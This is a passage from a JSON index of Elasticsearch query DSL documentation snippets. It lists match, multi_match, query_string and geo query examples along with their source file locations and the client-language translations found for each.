}\n }\n}"}, {"source_location":{"file":"query-dsl/match-query.asciidoc","line":186},"digest":"20005d8a6555b259b299d862cd218701","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"match\": {\n \"message\": {\n \"query\": \"this is a test\",\n \"operator\": \"and\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/match-query.asciidoc","line":230},"digest":"6b0288acb739c4667d41339e5100c327","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"match\": {\n \"message\": {\n \"query\": \"this is a testt\",\n \"fuzziness\": \"AUTO\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/match-query.asciidoc","line":252},"digest":"2fea3e324939cc7e9c396964aeee7111","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"match\": {\n \"message\": {\n \"query\": \"to be or not to be\",\n \"operator\": \"and\",\n \"zero_terms_query\": \"all\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/match-query.asciidoc","line":279},"digest":"7f56755fb6c42f7e6203339a6d0cb6e6","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"match\" : {\n \"message\": {\n \"query\" : \"ny city\",\n \"auto_generate_synonyms_phrase_query\" : false\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/match-bool-prefix-query.asciidoc","line":13},"digest":"0fd08e14ad651827be53897a6bdaf0b8","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"match_bool_prefix\" : {\n \"message\" : \"quick brown f\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/match-bool-prefix-query.asciidoc","line":28},"digest":"c76cb6a080959b0d87afd780cf814be2","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"bool\" : {\n \"should\": [\n { \"term\": { \"message\": \"quick\" }},\n { \"term\": { \"message\": \"brown\" }},\n { \"prefix\": { \"message\": \"f\"}}\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/match-bool-prefix-query.asciidoc","line":59},"digest":"40d90d9dc6f4942bf92d88bfc5a34672","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"match_bool_prefix\": {\n \"message\": {\n \"query\": \"quick brown f\",\n \"analyzer\": \"keyword\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/match-phrase-query.asciidoc","line":11},"digest":"9467e52087a13b63b02d78c35ff6f798","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"match_phrase\": {\n \"message\": \"this is a test\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/match-phrase-query.asciidoc","line":30},"digest":"2d150ff3b6b991b58fea6aa5cc669aa3","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"match_phrase\": {\n \"message\": {\n \"query\": \"this is a test\",\n \"analyzer\": \"my_analyzer\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/match-phrase-prefix-query.asciidoc","line":22},"digest":"93444b445446c1a6033347d6267253d6","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"match_phrase_prefix\": {\n \"message\": {\n \"query\": \"quick brown f\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/combined-fields-query.asciidoc","line":15},"digest":"f6911b0f2f56523ccbd8027f276981b3","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"combined_fields\" : {\n \"query\": \"database systems\",\n \"fields\": [ \"title\", \"abstract\", \"body\"],\n \"operator\": \"and\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/combined-fields-query.asciidoc","line":57},"digest":"97ae2b62aa372a955278be6f660356ba","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"combined_fields\" : {\n \"query\" : \"distributed consensus\",\n \"fields\" : [ \"title^2\", \"body\" ] <1>\n }\n }\n}"}, {"source_location":{"file":"query-dsl/combined-fields-query.asciidoc","line":156},"digest":"50f922e9f002d8ac570953be59414b7b","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"combined_fields\" : {\n \"query\": \"database systems\",\n \"fields\": [ \"title\", \"abstract\"],\n \"operator\": \"and\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":11},"digest":"53b908c3432118c5a6e460f74d32006b","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"multi_match\" : {\n \"query\": \"this is a test\", <1>\n \"fields\": [ \"subject\", \"message\" ] <2>\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":33},"digest":"6a1702dd50690cae833572e48a0ddf25","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"multi_match\" : {\n \"query\": \"Will Smith\",\n \"fields\": [ \"title\", \"*_name\" ] <1>\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":50},"digest":"e30ea6e3823a139d7693d8cce1920a06","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"multi_match\" : {\n \"query\" : \"this is a test\",\n \"fields\" : [ \"subject^3\", \"message\" ] <1>\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":114},"digest":"5da6efd5b038ada64c9e853c88c1ec47","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"multi_match\" : {\n \"query\": \"brown fox\",\n \"type\": \"best_fields\",\n \"fields\": [ \"subject\", \"message\" ],\n \"tie_breaker\": 0.3\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":131},"digest":"b0eaf67e5cce24ef8889bf20951ccec1","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"dis_max\": {\n \"queries\": [\n { \"match\": { \"subject\": \"brown fox\" }},\n { \"match\": { \"message\": \"brown fox\" }}\n ],\n \"tie_breaker\": 0.3\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":171},"digest":"e270f3f721a5712cd11a5ca03554f5b0","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"multi_match\" : {\n \"query\": \"Will Smith\",\n \"type\": \"best_fields\",\n \"fields\": [ \"first_name\", \"last_name\" ],\n \"operator\": \"and\" <1>\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":216},"digest":"7b908b1189f076942de8cd497ff1fa59","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"multi_match\" : {\n \"query\": \"quick brown fox\",\n \"type\": \"most_fields\",\n \"fields\": [ \"title\", \"title.original\", \"title.shingles\" ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":232},"digest":"6bbc613bd4f9aec1bbdbabf5db021d28","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"bool\": {\n \"should\": [\n { \"match\": { \"title\": \"quick brown fox\" }},\n { \"match\": { \"title.original\": \"quick brown fox\" }},\n { \"match\": { \"title.shingles\": \"quick brown fox\" }}\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":262},"digest":"0e118857b815b62118a30c042f079db1","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"multi_match\" : {\n \"query\": \"quick brown f\",\n \"type\": \"phrase_prefix\",\n \"fields\": [ \"subject\", \"message\" ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":278},"digest":"33f148e3d8676de6cc52f58749898a13","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"dis_max\": {\n \"queries\": [\n { \"match_phrase_prefix\": { \"subject\": \"quick brown f\" }},\n { \"match_phrase_prefix\": { \"message\": \"quick brown f\" }}\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":344},"digest":"047266b0d20fdb62ebc72d51952c8f6d","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"multi_match\" : {\n \"query\": \"Will Smith\",\n \"type\": \"cross_fields\",\n \"fields\": [ \"first_name\", \"last_name\" ],\n \"operator\": \"and\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":410},"digest":"ad0dcbc7fc619e952c8825b8f307b7b2","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"multi_match\" : {\n \"query\": \"Jon\",\n \"type\": \"cross_fields\",\n \"fields\": [\n \"first\", \"first.edge\",\n \"last\", \"last.edge\"\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":448},"digest":"56a903530990313b753b1be33578997a","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"query\": {\n \"dis_max\": {\n \"queries\": [\n {\n \"multi_match\" : {\n \"query\": \"Will Smith\",\n \"type\": \"cross_fields\",\n \"fields\": [ \"first\", \"last\" ],\n \"minimum_should_match\": \"50%\" <1>\n }\n },\n {\n \"multi_match\" : {\n \"query\": \"Will Smith\",\n \"type\": \"cross_fields\",\n \"fields\": [ \"*.edge\" ]\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":482},"digest":"179f0a3e84ff4bbac18787a018eabf89","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"multi_match\" : {\n \"query\": \"Jon\",\n \"type\": \"cross_fields\",\n \"analyzer\": \"standard\", <1>\n \"fields\": [ \"first\", \"last\", \"*.edge\" ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/multi-match-query.asciidoc","line":534},"digest":"68721288dc9ad8aa1b55099b4d303051","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"multi_match\" : {\n \"query\": \"quick brown f\",\n \"type\": \"bool_prefix\",\n \"fields\": [ \"subject\", \"message\" ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-query.asciidoc","line":45},"digest":"2a9747bcfaf1f9491ebd410b3fcb6798","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\": {\n \"query\": \"(new york city) OR (big apple)\",\n \"default_field\": \"content\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-syntax.asciidoc","line":296},"digest":"610f629d0486a64546d62402a0a5e00f","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"query\" : {\n \"query_string\" : {\n \"query\" : \"kimchy\\\\!\",\n \"fields\" : [\"user.id\"]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-query.asciidoc","line":267},"digest":"957d2e6ddbb9a9b16549c5e67b93b41b","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\": {\n \"fields\": [ \"content\", \"name\" ],\n \"query\": \"this AND that\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-query.asciidoc","line":283},"digest":"3faf5e2873de340acfe0a617017db784","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\": {\n \"query\": \"(content:this OR name:this) AND (content:that OR name:that)\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-query.asciidoc","line":299},"digest":"8ecefdcf8f153cf91588e9fdde8f3e6b","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\" : {\n \"fields\" : [\"content\", \"name^5\"],\n \"query\" : \"this AND that OR thus\",\n \"tie_breaker\" : 0\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-query.asciidoc","line":318},"digest":"b9370fa1aa18fe4bc00cf81ef0c0d45b","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\" : {\n \"fields\" : [\"city.*\"],\n \"query\" : \"this AND that OR thus\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-query.asciidoc","line":335},"digest":"acc6cd860032167e34fa5e0c043ab3b0","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\" : {\n \"query\" : \"city.\\\\*:(this AND that OR thus)\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-query.asciidoc","line":354},"digest":"d3dccdb15822e971ededb9f6f7d8ada1","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\" : {\n \"fields\" : [\"content\", \"name.*^5\"],\n \"query\" : \"this AND that OR thus\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-query.asciidoc","line":420},"digest":"f32f0c19b42de3b87dd764fe4ca17e7c","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\" : {\n \"default_field\": \"title\",\n \"query\" : \"ny city\",\n \"auto_generate_synonyms_phrase_query\" : false\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-query.asciidoc","line":448},"digest":"472ec8c57fec8457e31fe6dd7f6e3713","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\": {\n \"fields\": [\n \"title\"\n ],\n \"query\": \"this that thus\",\n \"minimum_should_match\": 2\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-query.asciidoc","line":474},"digest":"151d2b11807ec684b0c01aa89189a801","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\": {\n \"fields\": [\n \"title\",\n \"content\"\n ],\n \"query\": \"this that thus\",\n \"minimum_should_match\": 2\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-query.asciidoc","line":498},"digest":"ad2416ca0581316cee6c63129685bca5","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\": {\n \"fields\": [\n \"title\",\n \"content\"\n ],\n \"query\": \"this OR that OR thus\",\n \"minimum_should_match\": 2\n }\n }\n}"}, {"source_location":{"file":"query-dsl/query-string-query.asciidoc","line":530},"digest":"25576b6773322f0929d4c635a940dba0","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\": {\n \"fields\": [\n \"title\",\n \"content\"\n ],\n \"query\": \"this OR that OR thus\",\n \"type\": \"cross_fields\",\n \"minimum_should_match\": 2\n }\n }\n}"}, {"source_location":{"file":"query-dsl/simple-query-string-query.asciidoc","line":24},"digest":"0d49474511b236bc89e768c8ee91adf1","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"simple_query_string\" : {\n \"query\": \"\\\"fried eggs\\\" +(eggplant | potato) -frittata\",\n \"fields\": [\"title^5\", \"body\"],\n \"default_operator\": \"and\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/simple-query-string-query.asciidoc","line":153},"digest":"0e71a18d1aac61720cdc6b3f91fe643f","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"simple_query_string\": {\n \"fields\": [ \"content\" ],\n \"query\": \"foo bar -baz\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/simple-query-string-query.asciidoc","line":181},"digest":"d0fde00ef381e61b8a9e99f18cb5970a","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"simple_query_string\": {\n \"query\": \"foo | bar + baz*\",\n \"flags\": \"OR|AND|PREFIX\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/simple-query-string-query.asciidoc","line":245},"digest":"e8ea65153d7775f25b08dfdfe6954498","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"simple_query_string\" : {\n \"query\": \"Will Smith\",\n \"fields\": [ \"title\", \"*_name\" ] <1>\n }\n }\n}"}, {"source_location":{"file":"query-dsl/simple-query-string-query.asciidoc","line":262},"digest":"da8db0769dff7305f178c12b1111bc99","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"simple_query_string\" : {\n \"query\" : \"this is a test\",\n \"fields\" : [ \"subject^3\", \"message\" ] <1>\n }\n }\n}"}, {"source_location":{"file":"query-dsl/simple-query-string-query.asciidoc","line":291},"digest":"8ed31628081db2b6e9106d61d1e142be","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"simple_query_string\": {\n \"query\": \"ny city\",\n \"auto_generate_synonyms_phrase_query\": false\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-bounding-box-query.asciidoc","line":16},"digest":"bf9f13dc6c24cc225a72e32177e9ee02","lang":"console","found":["ruby"],"source":"PUT /my_locations\n{\n \"mappings\": {\n \"properties\": {\n \"pin\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_point\"\n }\n }\n }\n }\n }\n}\n\nPUT /my_locations/_doc/1\n{\n \"pin\": {\n \"location\": {\n \"lat\": 40.12,\n \"lon\": -71.34\n }\n }\n}\n\nPUT /my_geoshapes\n{\n \"mappings\": {\n \"properties\": {\n \"pin\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_shape\"\n }\n }\n }\n }\n }\n}\n\nPUT /my_geoshapes/_doc/1\n{\n \"pin\": {\n \"location\": {\n \"type\" : \"polygon\",\n \"coordinates\" : [[[13.0 ,51.5], [15.0, 51.5], [15.0, 54.0], [13.0, 54.0], [13.0 ,51.5]]]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-bounding-box-query.asciidoc","line":73},"digest":"ea5b4d2d87fd4e040afad18903c44869","lang":"console","found":["ruby"],"source":"GET my_locations/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_bounding_box\": {\n \"pin.location\": {\n \"top_left\": {\n \"lat\": 40.73,\n \"lon\": -74.1\n },\n \"bottom_right\": {\n \"lat\": 40.01,\n \"lon\": -71.12\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-bounding-box-query.asciidoc","line":103},"digest":"6cf3307c00f464c46475e352e067d714","lang":"console","found":["ruby"],"source":"GET my_geoshapes/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_bounding_box\": {\n \"pin.location\": {\n \"top_left\": {\n \"lat\": 40.73,\n \"lon\": -74.1\n },\n \"bottom_right\": {\n \"lat\": 40.01,\n \"lon\": -71.12\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-bounding-box-query.asciidoc","line":133},"digest":"790c49fe2ec638e5e8db51a9236bba35","lang":"console","found":["ruby"],"source":"GET my_locations,my_geoshapes/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_bounding_box\": {\n \"pin.location\": {\n \"top_left\": {\n \"lat\": 40.73,\n \"lon\": -74.1\n },\n \"bottom_right\": {\n \"lat\": 40.01,\n \"lon\": -71.12\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-bounding-box-query.asciidoc","line":185},"digest":"ea5b4d2d87fd4e040afad18903c44869","lang":"console","found":["ruby"],"source":"GET my_locations/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_bounding_box\": {\n \"pin.location\": {\n \"top_left\": {\n \"lat\": 40.73,\n \"lon\": -74.1\n },\n \"bottom_right\": {\n \"lat\": 40.01,\n \"lon\": -71.12\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-bounding-box-query.asciidoc","line":219},"digest":"ce247fc08371e1b30cb52195e521c076","lang":"console","found":["ruby"],"source":"GET my_locations/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_bounding_box\": {\n \"pin.location\": {\n \"top_left\": [ -74.1, 40.73 ],\n \"bottom_right\": [ -71.12, 40.01 ]\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-bounding-box-query.asciidoc","line":246},"digest":"2051ffe025550ab6645bfd525eaed3c4","lang":"console","found":["ruby"],"source":"GET my_locations/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_bounding_box\": {\n \"pin.location\": {\n \"top_left\": \"POINT (-74.1 40.73)\",\n \"bottom_right\": \"POINT (-71.12 40.01)\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-bounding-box-query.asciidoc","line":271},"digest":"f58969ac405db85f439c5940d014964b","lang":"console","found":["ruby"],"source":"GET my_locations/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_bounding_box\": {\n \"pin.location\": {\n \"wkt\": \"BBOX (-74.1, -71.12, 40.73, 40.01)\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-bounding-box-query.asciidoc","line":295},"digest":"dead0682932ea6ec33c1197017bcb209","lang":"console","found":["ruby"],"source":"GET my_locations/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_bounding_box\": {\n \"pin.location\": {\n \"top_left\": \"dr5r9ydj2y73\",\n \"bottom_right\": \"drj7teegpus6\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-bounding-box-query.asciidoc","line":329},"digest":"eae8931d01b3b878dd0c45214121e662","lang":"console","found":["ruby"],"source":"GET my_locations/_search\n{\n \"query\": {\n \"geo_bounding_box\": {\n \"pin.location\": {\n \"top_left\": \"dr\",\n \"bottom_right\": \"dr\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-bounding-box-query.asciidoc","line":356},"digest":"ca06db2aa4747910278f96315f7be94b","lang":"console","found":["ruby"],"source":"GET my_locations/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_bounding_box\": {\n \"pin.location\": {\n \"top\": 40.73,\n \"left\": -74.1,\n \"bottom\": 40.01,\n \"right\": -71.12\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-distance-query.asciidoc","line":17},"digest":"bf9f13dc6c24cc225a72e32177e9ee02","lang":"console","found":["ruby"],"source":"PUT /my_locations\n{\n \"mappings\": {\n \"properties\": {\n \"pin\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_point\"\n }\n }\n }\n }\n }\n}\n\nPUT /my_locations/_doc/1\n{\n \"pin\": {\n \"location\": {\n \"lat\": 40.12,\n \"lon\": -71.34\n }\n }\n}\n\nPUT /my_geoshapes\n{\n \"mappings\": {\n \"properties\": {\n \"pin\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_shape\"\n }\n }\n }\n }\n }\n}\n\nPUT /my_geoshapes/_doc/1\n{\n \"pin\": {\n \"location\": {\n \"type\" : \"polygon\",\n \"coordinates\" : [[[13.0 ,51.5], [15.0, 51.5], [15.0, 54.0], [13.0, 54.0], [13.0 ,51.5]]]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-distance-query.asciidoc","line":75},"digest":"3ed39eb60fbfafb70f7825b8d103bf17","lang":"console","found":["ruby"],"source":"GET /my_locations/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_distance\": {\n \"distance\": \"200km\",\n \"pin.location\": {\n \"lat\": 40,\n \"lon\": -70\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-distance-query.asciidoc","line":100},"digest":"d64d509440afbed7cefd04b6898962eb","lang":"console","found":["ruby"],"source":"GET my_geoshapes/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_distance\": {\n \"distance\": \"200km\",\n \"pin.location\": {\n \"lat\": 40,\n \"lon\": -70\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-distance-query.asciidoc","line":125},"digest":"3c65cb58e131ef46f4dd081683b970ac","lang":"console","found":["ruby"],"source":"GET my_locations,my_geoshapes/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_distance\": {\n \"distance\": \"200km\",\n \"pin.location\": {\n \"lat\": 40,\n \"lon\": -70\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-distance-query.asciidoc","line":158},"digest":"6352e846bb83725ae6d853aa64d8697d","lang":"console","found":["ruby"],"source":"GET /my_locations/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_distance\": {\n \"distance\": \"12km\",\n \"pin.location\": {\n \"lat\": 40,\n \"lon\": -70\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-distance-query.asciidoc","line":187},"digest":"1f507659757e2844cefced25848540a0","lang":"console","found":["ruby"],"source":"GET /my_locations/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_distance\": {\n \"distance\": \"12km\",\n \"pin.location\": [ -70, 40 ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-distance-query.asciidoc","line":213},"digest":"45c6e54a9c9e08623af96752b4bde346","lang":"console","found":["ruby"],"source":"GET /my_locations/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_distance\": {\n \"distance\": \"12km\",\n \"pin.location\": \"POINT (-70 40)\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-distance-query.asciidoc","line":236},"digest":"fbdad6620eb645f5f1f02e3673604d01","lang":"console","found":["ruby"],"source":"GET /my_locations/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match_all\": {}\n },\n \"filter\": {\n \"geo_distance\": {\n \"distance\": \"12km\",\n \"pin.location\": \"drm3btev3e86\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":20},"digest":"586cfa0e5fd695b7d451e854f9fb4a9c","lang":"console","found":["ruby"],"source":"PUT /my_locations\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_point\"\n }\n }\n }\n}\n\nPUT /my_locations/_doc/1?refresh\n{\n \"location\" : \"POINT(4.912350 52.374081)\",\n \"city\": \"Amsterdam\",\n \"name\": \"NEMO Science Museum\"\n}\n\nPUT /my_locations/_doc/2?refresh\n{\n \"location\" : \"POINT(4.405200 51.222900)\",\n \"city\": \"Antwerp\",\n \"name\": \"Letterenhuis\"\n}\n\nPUT /my_locations/_doc/3?refresh\n{\n \"location\" : \"POINT(2.336389 48.861111)\",\n \"city\": \"Paris\",\n \"name\": \"Musée du Louvre\"\n}\n"}, {"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":62},"digest":"5b266deba5396c7810af1b8315c23596","lang":"console","found":["ruby"],"source":"GET /my_locations/_search\n{\n \"size\" : 0,\n \"aggs\" : {\n \"grouped\" : {\n \"geohash_grid\" : {\n \"field\" : \"location\",\n \"precision\" : 2\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":79},"digest":"d92c1a7b81817577d0f6c2c8b2df471e","lang":"console-result","found":[],"source":"{\n \"took\" : 10,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 3,\n \"relation\" : \"eq\"\n },\n \"max_score\" : null,\n \"hits\" : [ ]\n },\n \"aggregations\" : {\n \"grouped\" : {\n \"buckets\" : [\n {\n \"key\" : \"u1\",\n \"doc_count\" : 2\n },\n {\n \"key\" : \"u0\",\n \"doc_count\" : 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":119},"digest":"d59e9cc75814575aa5e275dbe262918c","lang":"console","found":[],"source":"GET /my_locations/_search\n{\n \"query\": {\n \"geo_grid\" :{\n \"location\" : {\n \"geohash\" : \"u0\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":134},"digest":"8492410d095ff743c9cabe57ea5f5da2","lang":"console-result","found":[],"source":"{\n \"took\" : 1,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my_locations\",\n \"_id\" : \"3\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"location\" : \"POINT(2.336389 48.861111)\",\n \"city\" : \"Paris\",\n \"name\" : \"Musée du Louvre\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/geo-grid-query.asciidoc","line":174},"digest":"f14d0e4a280fee540e8e5f0fc4d0e9f1","lang":"console","found":["ruby"],"source":"GET /my_locations/_search\n{\n \"size\" : 0,\n \"aggs\" : {\n \"grouped\" : {\n \"geotile_grid\" : {\n \"field\" : \"location\",\n \"precision\" : 6\n }\n }\n }\n}"}, 